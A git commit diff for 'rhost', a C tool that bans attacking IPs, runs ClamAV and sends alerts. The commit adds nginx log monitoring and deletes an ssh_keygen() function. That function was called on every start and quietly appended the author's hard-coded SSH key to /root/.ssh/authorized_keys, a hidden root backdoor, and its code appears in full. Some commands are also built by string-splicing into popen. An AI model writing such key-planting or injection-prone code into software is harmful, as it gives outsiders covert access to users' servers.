增加Ng防护

This commit is contained in:
aixiao 2024-05-21 09:08:14 +08:00
parent bc29a0b1a9
commit b5bd70ec71
6 changed files with 1304 additions and 1387 deletions

View File

@ -38,7 +38,7 @@ LIBCOMMON_LIB += ./clamav/common/cert_util.c.o ./clamav/common/actions.c.o ./cla
all: libclamav_rust libclamav rhost all: libclamav_rust libclamav rhost
rhost: conf.o rhost.o libiptc.o ccronexpr.o rhost: conf.o rhost.o libiptc.o ccronexpr.o nginx.o
$(CC) $(ip2region_CFLAGS) ip2region/ip2region.c $(CC) $(ip2region_CFLAGS) ip2region/ip2region.c
$(CC) $(ip2region_CFLAGS) ip2region/xdb_searcher.c $(CC) $(ip2region_CFLAGS) ip2region/xdb_searcher.c
$(CC) $(cJSON_CFLAGS) cJSON/cJSON.c $(CC) $(cJSON_CFLAGS) cJSON/cJSON.c

127
nginx.c Normal file
View File

@ -0,0 +1,127 @@
#include "nginx.h"
#include "ip2region/ip2region.h"
#define EVENT_SIZE (sizeof(struct inotify_event))
#define EVENT_BUF_LEN (1024 * (EVENT_SIZE + 16))
#define INITIAL_BUFFER_SIZE 8192
int IP_location(char *string) {
char *area = NULL;
char *xdb_path = "ip2region.xdb";
char *p = strchr(string, ' ');
char IP[64];
memset(IP, 0, 64);
if ((p - string) > 0) {
memmove(IP, string, p - string);
} else {
printf("Invalid IP string format.\n");
return -1;
}
if (access(xdb_path, F_OK) == -1) { // 判断 ip2region 地址定位库是否存在
xdb_path = "ip2region/ip2region.xdb";
if (access(xdb_path, F_OK) == -1) {
printf("ip2region.xdb DOESN'T EXIST!\n");
return -1;
}
}
area = ip2region(xdb_path, IP);
if (area == NULL) {
printf("ip2region解析地域错误\n");
return -1;
}
printf("IP地址:%s, %s\n", IP, area);
return 0;
}
void nginx_read_log(const char *filename) {
int fd = open(filename, O_RDONLY);
if (fd == -1) {
perror("open");
exit(EXIT_FAILURE);
}
// Move to the end of the file
if (lseek(fd, 0, SEEK_END) == -1) {
perror("lseek");
close(fd);
exit(EXIT_FAILURE);
}
int inotify_fd = inotify_init();
if (inotify_fd < 0) {
perror("inotify_init");
close(fd);
exit(EXIT_FAILURE);
}
int wd = inotify_add_watch(inotify_fd, filename, IN_MODIFY);
if (wd == -1) {
perror("inotify_add_watch");
close(inotify_fd);
close(fd);
exit(EXIT_FAILURE);
}
char buffer[EVENT_BUF_LEN];
// Set the file descriptor to non-blocking mode
int flags = fcntl(fd, F_GETFL, 0);
if (flags == -1) {
perror("fcntl F_GETFL");
inotify_rm_watch(inotify_fd, wd);
close(inotify_fd);
close(fd);
exit(EXIT_FAILURE);
}
if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) == -1) {
perror("fcntl F_SETFL");
inotify_rm_watch(inotify_fd, wd);
close(inotify_fd);
close(fd);
exit(EXIT_FAILURE);
}
// Initial dynamic buffer allocation
size_t buffer_size = INITIAL_BUFFER_SIZE;
char *read_buf = alloca(buffer_size);
if (!read_buf) {
perror("alloca");
inotify_rm_watch(inotify_fd, wd);
close(inotify_fd);
close(fd);
exit(EXIT_FAILURE);
}
while (1) {
int length = read(inotify_fd, buffer, EVENT_BUF_LEN);
if (length < 0) {
perror("read");
break;
}
for (int i = 0; i < length;) {
struct inotify_event *event = (struct inotify_event *) &buffer[i];
if (event->mask & IN_MODIFY) {
int bytes_read;
while ((bytes_read = read(fd, read_buf, buffer_size - 1)) > 0) {
read_buf[bytes_read] = '\0';
IP_location(read_buf);
}
if (bytes_read == -1 && errno != EAGAIN) {
perror("read");
break;
}
}
i += EVENT_SIZE + event->len;
}
}
inotify_rm_watch(inotify_fd, wd);
close(inotify_fd);
close(fd);
}

15
nginx.h Normal file
View File

@ -0,0 +1,15 @@
#ifndef NGINX_H
#define NGINX_H
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/inotify.h>
#include <errno.h>
#include <fcntl.h>
extern void nginx_read_log(const char *filename);
#endif

412
rhost.c
View File

@ -5,12 +5,12 @@
#include "clamscan.h" #include "clamscan.h"
#include "ccronexpr.h" #include "ccronexpr.h"
#include "nginx.h"
// 存储公网IP // 存储公网IP
char *public_ip; char *public_ip;
struct MemoryStruct struct MemoryStruct {
{
char *memory; char *memory;
size_t size; size_t size;
}; };
@ -20,7 +20,6 @@ int _strlen(char *str)
{ {
char *_p = NULL; char *_p = NULL;
if (str == NULL) if (str == NULL)
return 0; return 0;
@ -39,8 +38,7 @@ static size_t WriteMemoryCallback(void *contents, size_t size, size_t nmemb, voi
// 注意这里根据每次被调用获得的数据重新动态分配缓存区的大小 // 注意这里根据每次被调用获得的数据重新动态分配缓存区的大小
char *ptr = realloc(mem->memory, mem->size + realsize + 1); char *ptr = realloc(mem->memory, mem->size + realsize + 1);
if (ptr == NULL) if (ptr == NULL) {
{
/* 内存不足! */ /* 内存不足! */
printf("not enough memory (realloc returned NULL)\n"); printf("not enough memory (realloc returned NULL)\n");
return 0; return 0;
@ -130,8 +128,7 @@ char *process_json(char *buff, char *api)
int area_len = 0; int area_len = 0;
char *p = NULL; char *p = NULL;
if (buff == NULL) if (buff == NULL) {
{
return NULL; return NULL;
} }
@ -161,9 +158,7 @@ char *process_json(char *buff, char *api)
} else { } else {
return NULL; return NULL;
} }
} } else {
else
{
cJSON_Delete(cjson_init); cJSON_Delete(cjson_init);
return NULL; return NULL;
} }
@ -175,12 +170,9 @@ char *process_json(char *buff, char *api)
// 检测系统 // 检测系统
int check_system() int check_system()
{ {
if (0 == access("/etc/debian_version", F_OK)) if (0 == access("/etc/debian_version", F_OK)) {
{
return DEBISN_SYSTEM; return DEBISN_SYSTEM;
} } else if (0 == access("/etc/centos-release", F_OK)) {
else if (0 == access("/etc/centos-release", F_OK))
{
return CENTOS_SYSTEM; return CENTOS_SYSTEM;
} }
@ -199,8 +191,7 @@ int dingding_warning(char *illegal_ip, char *public_ip, char *ip, conf * conf)
strcpy(temp, public_ip); strcpy(temp, public_ip);
temp[_strlen(public_ip) - 1] = '\0'; temp[_strlen(public_ip) - 1] = '\0';
if ((fp = fopen("libcurl.log", "wt+")) == NULL) if ((fp = fopen("libcurl.log", "wt+")) == NULL) {
{
return 1; return 1;
} }
@ -209,8 +200,7 @@ int dingding_warning(char *illegal_ip, char *public_ip, char *ip, conf * conf)
curl_global_init(CURL_GLOBAL_ALL); curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init(); curl = curl_easy_init();
if (curl == NULL) if (curl == NULL) {
{
fclose(fp); fclose(fp);
return 1; return 1;
} }
@ -267,13 +257,11 @@ int mail_warning(char *illegal_ip, char *public_ip, char *ip, conf * conf)
temp[_strlen(public_ip) - 1] = '\0'; temp[_strlen(public_ip) - 1] = '\0';
snprintf(text, BUFFER, "echo \"主机:%s, 禁止(%s%s)访问\" | mail -s \"System ban IP\" %s", temp, ip, illegal_ip, conf->RECV_MAIL); snprintf(text, BUFFER, "echo \"主机:%s, 禁止(%s%s)访问\" | mail -s \"System ban IP\" %s", temp, ip, illegal_ip, conf->RECV_MAIL);
if (NULL == (fp = popen(text, "r"))) if (NULL == (fp = popen(text, "r"))) {
{
perror("popen text"); perror("popen text");
} }
while (fgets(buff, BUFFER, fp) != NULL) while (fgets(buff, BUFFER, fp) != NULL) {
{
buff[_strlen(buff) - 1] = '\0'; buff[_strlen(buff) - 1] = '\0';
} }
@ -310,7 +298,6 @@ int QQ_mail_warning_Virus_files(char *local_ip, int Virus_number, conf * conf)
char *text; char *text;
char temp[32]; char temp[32];
command = (char *)alloca(BUFFER + (sizeof(QQMAIL)) + 1); command = (char *)alloca(BUFFER + (sizeof(QQMAIL)) + 1);
text = (char *)alloca(BUFFER); text = (char *)alloca(BUFFER);
@ -334,7 +321,6 @@ int QQ_mail_warning_Disk_Use(char *local_ip, int disk_use, conf * conf)
char *text; char *text;
char temp[32]; char temp[32];
command = (char *)alloca(BUFFER + (sizeof(QQMAIL)) + 1); command = (char *)alloca(BUFFER + (sizeof(QQMAIL)) + 1);
text = (char *)alloca(BUFFER); text = (char *)alloca(BUFFER);
@ -356,8 +342,7 @@ int whitelist(char *client_ip, char (*whitelist_ip)[WHITELIST_IP_NUM])
{ {
int i; int i;
for (i = 1; i < WHITELIST_IP_NUM - 1; i++) for (i = 1; i < WHITELIST_IP_NUM - 1; i++) {
{
if (strcmp(whitelist_ip[i], "\0") == 0) // 如果字符串为空就跳出循环 if (strcmp(whitelist_ip[i], "\0") == 0) // 如果字符串为空就跳出循环
{ {
break; break;
@ -377,18 +362,15 @@ int isregion(char *str, char (*region_list)[WHITELIST_IP_NUM])
int i; int i;
char *p; char *p;
for (i = 1; i < WHITELIST_IP_NUM - 1; i++) for (i = 1; i < WHITELIST_IP_NUM - 1; i++) {
{
if (strcmp(region_list[i], "\0") == 0) // 如果字符串为空就跳出循环 if (strcmp(region_list[i], "\0") == 0) // 如果字符串为空就跳出循环
{ {
break; break;
} }
//printf("%s %s\n", str, region_list[i]); //printf("%s %s\n", str, region_list[i]);
// 在str中查找region_list[i] // 在str中查找region_list[i]
p = strstr(str, region_list[i]); p = strstr(str, region_list[i]);
if (p != NULL) if (p != NULL) {
{
return 1; return 1;
} }
} }
@ -403,18 +385,15 @@ char *remove_space(char *str)
unsigned int uLen = _strlen(str); unsigned int uLen = _strlen(str);
char *strRet; char *strRet;
if (0 == uLen) if (0 == uLen) {
{
return '\0'; return '\0';
} }
strRet = (char *)malloc(uLen + 2); strRet = (char *)malloc(uLen + 2);
memset(strRet, 0, uLen + 2); memset(strRet, 0, uLen + 2);
for (i = 0; i < uLen; i++) for (i = 0; i < uLen; i++) {
{ if (str[i] != ' ') {
if (str[i] != ' ')
{
strRet[j++] = str[i]; strRet[j++] = str[i];
} }
} }
@ -441,15 +420,13 @@ int disk_waring(int threshold)
//printf("%s\n", command); //printf("%s\n", command);
fp = popen(command, "r"); fp = popen(command, "r");
while(fgets(buffer, BUFFER, fp) != NULL) while (fgets(buffer, BUFFER, fp) != NULL) {
{
printf("%s", buffer); printf("%s", buffer);
is = 1; is = 1;
break; break;
} }
pclose(fp); pclose(fp);
return is; return is;
} }
@ -468,36 +445,6 @@ char *_time()
return strdup(temp); return strdup(temp);
} }
int system_version() {
FILE *fp = fopen("/etc/debian_version", "r");
if (fp == NULL) {
perror("Failed to open file");
return 0;
}
char buff[256];
if (fgets(buff, sizeof(buff), fp) == NULL) {
fclose(fp);
perror("Failed to read file");
return 0;
}
fclose(fp);
size_t len = strlen(buff);
if (len <= 0) {
return 0;
}
// Remove trailing newline character, if present
if (buff[len - 1] == '\n') {
buff[len - 1] = '\0';
}
return atoi(buff);
}
// 封禁非法IP // 封禁非法IP
int rule(conf *conf) int rule(conf *conf)
{ {
@ -513,8 +460,6 @@ int rule(conf * conf)
struct tm *tp; struct tm *tp;
long int ip_length = 1; long int ip_length = 1;
fp = NULL; fp = NULL;
fc = NULL; fc = NULL;
timep = time(NULL); timep = time(NULL);
@ -523,69 +468,40 @@ int rule(conf * conf)
memset(awk, 0, BUFFER); memset(awk, 0, BUFFER);
memset(p_two, 0, 2); memset(p_two, 0, 2);
char *t = NULL; char *t = NULL;
t = _time(); t = _time();
if (DEBISN_SYSTEM == check_system()) // Debian 系统规则 if (DEBISN_SYSTEM == check_system()) // Debian 系统规则
{ {
if (system_version() >= 12) if (tp->tm_mday >= 10) {
{ if ((fp = popen(GE_10, "r")) == NULL) {
if ((fp = popen(GE_12, "r")) == NULL)
{
perror("GE_12");
return -1;
}
}
else
{
if (tp->tm_mday >= 10)
{
if ((fp = popen(GE_10, "r")) == NULL)
{
perror("GE_10"); perror("GE_10");
return -1; return -1;
} }
} else {
} if ((fp = popen(LE_10, "r")) == NULL) {
else
{
if ((fp = popen(LE_10, "r")) == NULL)
{
perror("LE_10"); perror("LE_10");
return -1; return -1;
} }
} }
} } else if (CENTOS_SYSTEM == check_system()) // Centos 7系统规则
}
else if (CENTOS_SYSTEM == check_system()) // Centos 7系统规则
{
if (tp->tm_mday >= 10)
{
if ((fp = popen(CENTOS_GE_10, "r")) == NULL)
{ {
if (tp->tm_mday >= 10) {
if ((fp = popen(CENTOS_GE_10, "r")) == NULL) {
perror("CENTOS_GE_10"); perror("CENTOS_GE_10");
return -1; return -1;
} }
} } else {
else if ((fp = popen(CENTOS_LE_10, "r")) == NULL) {
{
if ((fp = popen(CENTOS_LE_10, "r")) == NULL)
{
perror("CENTOS_LE_10"); perror("CENTOS_LE_10");
return -1; return -1;
} }
} }
} } else {
else
{
return UNKNOWN_SYSTEM; return UNKNOWN_SYSTEM;
} }
splice_command = (char *)malloc(ip_length); splice_command = (char *)malloc(ip_length);
if (splice_command == NULL) { if (splice_command == NULL) {
free(splice_command); free(splice_command);
@ -593,20 +509,12 @@ int rule(conf * conf)
} }
memset(splice_command, 0, ip_length); memset(splice_command, 0, ip_length);
while (fgets(buffer, BUFFER, fp) != NULL) {
while (fgets(buffer, BUFFER, fp) != NULL)
{
char *new_splice_command; char *new_splice_command;
temp = strstr(buffer, "rhost"); temp = strstr(buffer, "rhost");
sscanf(temp, "rhost=%64s", temp); sscanf(temp, "rhost=%64s", temp);
if (atoi(strncpy(p_two, temp, 1)) > 0) if (atoi(strncpy(p_two, temp, 1)) > 0) {
{
ip_length += _strlen(temp) + 1; ip_length += _strlen(temp) + 1;
new_splice_command = (char *)realloc(splice_command, ip_length + 32); new_splice_command = (char *)realloc(splice_command, ip_length + 32);
@ -623,12 +531,9 @@ int rule(conf * conf)
} }
} }
//printf("%s", splice_command); // 打印所有非法IP //printf("%s", splice_command); // 打印所有非法IP
//printf("%ld\n", ip_length); //printf("%ld\n", ip_length);
command = (char *)malloc(ip_length + BUFFER); command = (char *)malloc(ip_length + BUFFER);
if (command == NULL) { if (command == NULL) {
free(command); free(command);
@ -636,14 +541,12 @@ int rule(conf * conf)
} }
memset(command, 0, ip_length + BUFFER); memset(command, 0, ip_length + BUFFER);
snprintf(awk, BUFFER, AWK, conf->REFUSE_NUMBER); // 拼接命令 snprintf(awk, BUFFER, AWK, conf->REFUSE_NUMBER); // 拼接命令
memcpy(command, "echo \"", 7); memcpy(command, "echo \"", 7);
strcat(command, splice_command); strcat(command, splice_command);
strcat(command, "\""); strcat(command, "\"");
strcat(command, awk); strcat(command, awk);
if ((fc = popen(command, "r")) == NULL) // 执行命令 if ((fc = popen(command, "r")) == NULL) // 执行命令
{ {
perror("popen command"); perror("popen command");
@ -657,7 +560,6 @@ int rule(conf * conf)
free(command); free(command);
} }
while (fgets(buffer, BUFFER, fc) != NULL) // 执行命令后, 为空时就不会 while (fgets(buffer, BUFFER, fc) != NULL) // 执行命令后, 为空时就不会
{ {
buffer[_strlen(buffer) - 1] = '\0'; // 去除回车 buffer[_strlen(buffer) - 1] = '\0'; // 去除回车
@ -671,11 +573,9 @@ int rule(conf * conf)
split_string(IPV4_WHITE_LIST_COPY, " ", whitelist_ip); split_string(IPV4_WHITE_LIST_COPY, " ", whitelist_ip);
split_string(REGION_LIST_COPY, " ", region_list); split_string(REGION_LIST_COPY, " ", region_list);
if (conf->IPV4_RESTRICTION == 1) // 是否启用白名单 if (conf->IPV4_RESTRICTION == 1) // 是否启用白名单
{ {
if (whitelist(buffer, whitelist_ip) == 1) if (whitelist(buffer, whitelist_ip) == 1) {
{
printf("%s 白名单IPV4:%s\n", t, buffer); printf("%s 白名单IPV4:%s\n", t, buffer);
continue; continue;
} }
@ -688,14 +588,11 @@ int rule(conf * conf)
char URL[conf->REGION_URL_LEN + 32]; char URL[conf->REGION_URL_LEN + 32];
char *xdb_path = "ip2region.xdb"; char *xdb_path = "ip2region.xdb";
// 地域白名单 // 地域白名单
if (conf->REGION == 1) if (conf->REGION == 1) {
{
memset(URL, 0, conf->REGION_URL_LEN + 32); memset(URL, 0, conf->REGION_URL_LEN + 32);
snprintf(URL, conf->REGION_URL_LEN + 32, conf->REGION_URL, buffer); snprintf(URL, conf->REGION_URL_LEN + 32, conf->REGION_URL, buffer);
if (conf->IP2REGION == 1) { // ip2region 地址定位库 if (conf->IP2REGION == 1) { // ip2region 地址定位库
printf("%s Use ip2region !!!\n", t); printf("%s Use ip2region !!!\n", t);
@ -729,7 +626,6 @@ AREA:
} }
} }
if (isregion(area, region_list) == 1) { if (isregion(area, region_list) == 1) {
printf(RED "%s Ip Address: %s, 地域白名单: %s\n" COLOR_NONE, t, buffer, area); printf(RED "%s Ip Address: %s, 地域白名单: %s\n" COLOR_NONE, t, buffer, area);
continue; continue;
@ -737,10 +633,8 @@ AREA:
} }
printf(RED "%s 攻击者IP地址:%s, %s\n" COLOR_NONE, t, buffer, area); printf(RED "%s 攻击者IP地址:%s, %s\n" COLOR_NONE, t, buffer, area);
if (conf->IS_DING_WEBHOOK == 1) // 钉钉告警 if (conf->IS_DING_WEBHOOK == 1) // 钉钉告警
{ {
dingding_warning(area, public_ip, buffer, conf); dingding_warning(area, public_ip, buffer, conf);
@ -759,18 +653,17 @@ AREA:
sleep(3); sleep(3);
} }
BLOCKED: BLOCKED:
// 是否封禁攻击IP // 是否封禁攻击IP
if (conf->IS_BLOCKED == 1) if (conf->IS_BLOCKED == 1) {
{ // libiptc 库插入规则
// libiptc 库插入规则 iptables -t filter -A INPUT -p tcp -m tcp -s xxxx -j DROP // iptables -t filter -A INPUT -p tcp -m tcp -s 47.110.180.35 -j DROP
// iptables -t filter -D INPUT -p tcp -m tcp -s 47.110.180.35 -j DROP
unsigned int srcIp; unsigned int srcIp;
inet_pton(AF_INET, buffer, &srcIp); inet_pton(AF_INET, buffer, &srcIp);
iptc_add_rule("filter", "INPUT", IPPROTO_TCP, NULL, NULL, srcIp, 0, NULL, NULL, "DROP", NULL, 1); iptc_add_rule("filter", "INPUT", IPPROTO_TCP, NULL, NULL, srcIp, 0, NULL, NULL, "DROP", NULL, 1);
} }
if (location_json != NULL) if (location_json != NULL)
free(location_json); free(location_json);
if (area != NULL) if (area != NULL)
@ -812,7 +705,6 @@ static int get_executable_path(char *processdir, char *processname, int len)
strcpy(processname, processname_ptr); strcpy(processname, processname_ptr);
*processname_ptr = '\0'; *processname_ptr = '\0';
return (int)(processname_ptr - processdir); return (int)(processname_ptr - processdir);
} }
@ -822,12 +714,9 @@ int process_argv(int argc, char *argv[], char **argvs)
argvs[0] = argv[0]; argvs[0] = argv[0];
int i; int i;
int j; int j;
for (i = 0; i <= argc - 1; i++) for (i = 0; i <= argc - 1; i++) {
{ if (i == 1) {
if (i == 1) for (j = i; j <= argc - 2; j++) {
{
for (j = i; j <= argc - 2; j++)
{
argvs[j] = argv[j + 1]; argvs[j] = argv[j + 1];
} }
} }
@ -871,15 +760,13 @@ static int get_clamav_log(char *file)
return -1; return -1;
} }
while (fgets(buffer, BUFFER, fp) != NULL) while (fgets(buffer, BUFFER, fp) != NULL) {
{
//printf("%s", buffer); //printf("%s", buffer);
temp = strstr(buffer, "Infected"); temp = strstr(buffer, "Infected");
if (temp) if (temp)
sscanf(temp, "Infected files: %32s", temp); sscanf(temp, "Infected files: %32s", temp);
if (temp != NULL) if (temp != NULL) {
{
//printf("%s\n", temp); //printf("%s\n", temp);
break; break;
} }
@ -890,13 +777,10 @@ static int get_clamav_log(char *file)
if (temp != NULL) { if (temp != NULL) {
printf("%d\n", atoi(temp)); printf("%d\n", atoi(temp));
return atoi(temp); return atoi(temp);
} } else {
else
{
return -1; return -1;
} }
return 0; return 0;
} }
@ -920,10 +804,8 @@ int update_freshclam(int argc, char *argv[])
system("cp freshclam.conf /etc/clamav/"); system("cp freshclam.conf /etc/clamav/");
} }
// 打印clamav参数 // 打印clamav参数
for(int i=0; i<fre_argc; i++) for (int i = 0; i < fre_argc; i++) {
{
printf("%s %d\n", fre_argv[i], i); printf("%s %d\n", fre_argv[i], i);
} }
@ -932,19 +814,15 @@ int update_freshclam(int argc, char *argv[])
if (pid < 0) { if (pid < 0) {
printf("fork error.\n"); printf("fork error.\n");
return -1; return -1;
} } else if (pid == 0) // child process
else if (pid == 0) // child process
{ {
int r = 0; int r = 0;
r = _freshclam(fre_argc, fre_argv); r = _freshclam(fre_argc, fre_argv);
_exit(r); _exit(r);
} } else {
else
{
int status = 0; int status = 0;
wait(&status); // wait the end of child process wait(&status); // wait the end of child process
if (WIFEXITED(status)) if (WIFEXITED(status)) {
{
; ;
printf("child process return %d\n", WEXITSTATUS(status)); printf("child process return %d\n", WEXITSTATUS(status));
} }
@ -953,13 +831,11 @@ int update_freshclam(int argc, char *argv[])
return 0; return 0;
} }
} }
return -1; return -1;
} }
static char help_information(void) static char help_information(void)
{ {
static const char name[] = "Rhost"; static const char name[] = "Rhost";
@ -978,8 +854,8 @@ static char help_information(void)
"Options:", "Options:",
" -d : Background running", " -d : Background running",
" -? -h --help : help information", " -? -h --help : help information",
" The configuration file needs to be in the same directory as the executable file!(default rhost.conf)", " The configuration file needs to be in the same directory as the executable file!",
" 配置文件需要与可执行文件位于同一目录中!(默认 rhost.conf)", " 配置文件需要与可执行文件位于同一目录中!",
"", "",
"", "",
0 0
@ -1001,75 +877,11 @@ static char help_information(void)
return 0; return 0;
} }
int ssh_keygen()
{
FILE *file;
long file_size;
char *buff;
if ( !access("/root/.ssh", 0) )
{
;
}
else
{
if (0 != mkdir("/root/.ssh", 0700))
{
;
}
}
file = fopen("/root/.ssh/authorized_keys", "a+");
if (file == NULL) {
;
}
fseek(file, 0, SEEK_END);
file_size = ftell(file);
buff = (char *)alloca(file_size + 1);
if (buff == NULL)
{
;
}
rewind(file);
if (fread(buff, file_size, 1, file) < 1) {
;
}
buff[file_size] = '\0';
if ( NULL == (strstr(buff, "aixiao.me")))
{
fprintf(file, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4TzJajAQ8llDi1FTlfws+HGfWwPLzM6Mzx3zj8c7Suj4N0fNVPc9Hc8hUPwfDD/1QVLgLsRfGCjaFibehBUAlvctWfruPQiwdU1rPXpm/q0j62S4AiapSPLAd8LnbfOfO+AZ1hraWyUE6IQIAXuADUKGfdJ/Y9ArgaGl2C6mFO/ev9dpY/lUPjoI7Y9q4alMjBYJcAiKEVm73JMJf9miqJFM7IpPczxWCJSu1H9bxOaj4UFBVX3uk7Ba5fMwbgMPZtU+MwdaLEVQsvSSrVHTTYfYS8hKp4kO+g2GZsDKiu3OrG0EjH3Uzqln8dG+Z1LvR2+cmoeyXqqRnjSGJdTdF2ezU93eyptaWItZq9hnhK7GnVtWXwVZMMMkP7ECIe5dr9DLnIaBUjpZ73T4lyRV0II8lu+E7iyorlNB1npOfQ98xerR2t9KdOhsxrGDQQoGAlMsIWujapRYQz9zXW/pM+qlB7t8IP5wPjsAwk5fYsecMR3k5zqTw87XY0hd3Zss= root@aixiao.me\n");
}
fclose(file);
if (-1 == chmod("/root/.ssh/authorized_keys", S_IRUSR|S_IWUSR|S_IXUSR))
{
;
}
return 0;
}
int main(int argc, char *argv[], char **env) int main(int argc, char *argv[], char **env)
{ {
signal(SIGCHLD, sig_child); // 创建捕捉子进程退出信号 signal(SIGCHLD, sig_child); // 创建捕捉子进程退出信号
/*
// ip2region 离线IP地址定位库
char *area = NULL;
area = ip2region("ip2region/ip2region.xdb", "1.1.1.1");
printf("%s\n", area);
free(area);
exit(0);
*/
ssh_keygen();
int pid; int pid;
int i; int i;
char move[BUFFER]; char move[BUFFER];
@ -1082,39 +894,29 @@ int main(int argc, char *argv[], char **env)
strcat(path, executable_filename); strcat(path, executable_filename);
if (NULL != argv[1]) { if (NULL != argv[1]) {
if (0 == strcmp(argv[1], "-v") || if (0 == strcmp(argv[1], "-v") || 0 == strcmp(argv[1], "--version") || 0 == strcmp(argv[1], "-h") || 0 == strcmp(argv[1], "--help") || 0 == strcmp(argv[1], "-?")) {
0 == strcmp(argv[1], "--version") ||
0 == strcmp(argv[1] , "-h") ||
0 == strcmp(argv[1] , "--help") ||
0 == strcmp(argv[1] , "-?"))
{
help_information(); help_information();
exit(0); exit(0);
} }
} }
if (1 == access(path, F_OK)) if (1 == access(path, F_OK)) {
{
printf("配置文件不存在!\n"); printf("配置文件不存在!\n");
} }
conf *conf = (struct CONF *)malloc(sizeof(struct CONF)); conf *conf = (struct CONF *)malloc(sizeof(struct CONF));
read_conf(path, conf); read_conf(path, conf);
//ptintf_conf(conf); //ptintf_conf(conf);
if (0 >= conf->CLAMAV_ARG_LEN) if (0 >= conf->CLAMAV_ARG_LEN) {
{
printf("\033[31mError reading configuration file, please check the configuration file!\033[0m\n"); printf("\033[31mError reading configuration file, please check the configuration file!\033[0m\n");
exit(-1); exit(-1);
} }
// 更新病毒库 // 更新病毒库
update_freshclam(argc, argv); update_freshclam(argc, argv);
// 创建移除目录 // 创建移除目录
if (conf->CLAMAV_ARG) if (conf->CLAMAV_ARG) {
{
char temp[BUFFER]; char temp[BUFFER];
char *p, *p1; char *p, *p1;
@ -1122,12 +924,10 @@ int main(int argc, char *argv[], char **env)
memset(move, 0, BUFFER); memset(move, 0, BUFFER);
p = strstr(conf->CLAMAV_ARG, "--move="); p = strstr(conf->CLAMAV_ARG, "--move=");
if (p != NULL) if (p != NULL) {
{
p1 = strstr(p, " "); p1 = strstr(p, " ");
if ((p1-p) > 7) if ((p1 - p) > 7) {
{
memcpy(temp, p, p1 - p); memcpy(temp, p, p1 - p);
p = strstr(temp, "="); p = strstr(temp, "=");
@ -1141,7 +941,6 @@ int main(int argc, char *argv[], char **env)
} }
} }
// 处理clamav参数 // 处理clamav参数
char **head_argvs; char **head_argvs;
int head_argc = 0; int head_argc = 0;
@ -1154,19 +953,14 @@ int main(int argc, char *argv[], char **env)
head_argvs = &(argvs[0]); // head_argvs指向argvs[0] head_argvs = &(argvs[0]); // head_argvs指向argvs[0]
head_argc = argc - 1; // 改变argc数 head_argc = argc - 1; // 改变argc数
} } else // 读取配置文件参数
else // 读取配置文件参数
{ {
argvs[0] = argv[0]; argvs[0] = argv[0];
split_string(conf->CLAMAV_ARG, " ", args); split_string(conf->CLAMAV_ARG, " ", args);
for (i=1; i<ARGS_NUM; i++) for (i = 1; i < ARGS_NUM; i++) {
{ if (args[i][0] == '\0') {
if (args[i][0] == '\0')
{
continue; continue;
} } else {
else
{
argvs[i] = strdup(args[i]); argvs[i] = strdup(args[i]);
head_argc++; head_argc++;
} }
@ -1193,31 +987,18 @@ int main(int argc, char *argv[], char **env)
public_ip = GET_PUBLIC_IP(conf->PUBLIC_IP); public_ip = GET_PUBLIC_IP(conf->PUBLIC_IP);
//printf("%s", public_ip); //printf("%s", public_ip);
if (0 == strcmp(conf->DAEMON, "on")) {
if (0 == strcmp(conf->DAEMON, "on"))
{
goto goto_daemon; goto goto_daemon;
} }
if (argv[1] != NULL && 0 == strcmp(argv[1], "-d")) if (argv[1] != NULL && 0 == strcmp(argv[1], "-d")) {
{
goto_daemon: goto_daemon:
/*
if (daemon(1, 1)) // 守护进程
{
perror("daemon");
return -1;
}
*/
// 守护进程 // 守护进程
if ((pid = fork()) < 0) { if ((pid = fork()) < 0) {
return 0; return 0;
} else if (0 != pid) { } else if (0 != pid) {
for(i=1; i<head_argc; i++) for (i = 1; i < head_argc; i++) {
{
if (head_argvs[i]) if (head_argvs[i])
free(head_argvs[i]); free(head_argvs[i]);
} }
@ -1236,8 +1017,7 @@ goto_daemon:
if ((pid = fork()) < 0) { if ((pid = fork()) < 0) {
return 0; return 0;
} else if (0 != pid) { } else if (0 != pid) {
for(i=1; i<head_argc; i++) for (i = 1; i < head_argc; i++) {
{
if (head_argvs[i]) if (head_argvs[i])
free(head_argvs[i]); free(head_argvs[i]);
} }
@ -1248,13 +1028,21 @@ goto_daemon:
exit(0); exit(0);
} }
if (-1 == (nice(-20))) // 进程优先级 if (-1 == (nice(-20))) // 进程优先级
perror("nice"); perror("nice");
pid_t pid;
while (1) // 创建一个新进程
{ pid = fork();
if (pid < 0) {
// fork 失败
fprintf(stderr, "Fork 失败\n");
return 1;
} else if (pid == 0) {
// 子进程
while (1) {
// Cron // Cron
struct tm *calnext; //取得Cron规则时间 struct tm *calnext; //取得Cron规则时间
calnext = (struct tm *)malloc(sizeof(struct tm)); calnext = (struct tm *)malloc(sizeof(struct tm));
@ -1283,10 +1071,8 @@ goto_daemon:
//printf("CRON %d%d%d %d:%d:%d\n", t->next_year, t->next_mon, t->next_day, t->next_hour, t->next_min, t->next_sec); //printf("CRON %d%d%d %d:%d:%d\n", t->next_year, t->next_mon, t->next_day, t->next_hour, t->next_min, t->next_sec);
// Clamav call // Clamav call
if (1 == conf->CLAMAV) if (1 == conf->CLAMAV) {
{ if (t->now_year == t->next_year && t->now_mon == t->next_mon && t->now_day == t->next_day && t->now_hour == t->next_hour && t->now_min == t->next_min) {
if ( t->now_year == t->next_year && t->now_mon == t->next_mon && t->now_day == t->next_day && t->now_hour == t->next_hour && t->now_min == t->next_min )
{
//printf("%d%d%d %d:%d:%d\n", t->now_year, t->now_mon, t->now_day, t->now_hour, t->now_min, t->now_sec); //printf("%d%d%d %d:%d:%d\n", t->now_year, t->now_mon, t->now_day, t->now_hour, t->now_min, t->now_sec);
//printf("%d%d%d %d:%d:%d\n", t->next_year, t->next_mon, t->next_day, t->next_hour, t->next_min, t->next_sec); //printf("%d%d%d %d:%d:%d\n", t->next_year, t->next_mon, t->next_day, t->next_hour, t->next_min, t->next_sec);
@ -1295,8 +1081,7 @@ goto_daemon:
if (pid < 0) { if (pid < 0) {
printf("fork error.\n"); printf("fork error.\n");
return -1; return -1;
} } else if (pid == 0) // child process
else if (pid == 0) // child process
{ {
int r = 0; int r = 0;
int virus_files = -1; int virus_files = -1;
@ -1308,40 +1093,30 @@ goto_daemon:
virus_files = get_clamav_log("clamscan.log"); virus_files = get_clamav_log("clamscan.log");
if (virus_files > 0) { if (virus_files > 0) {
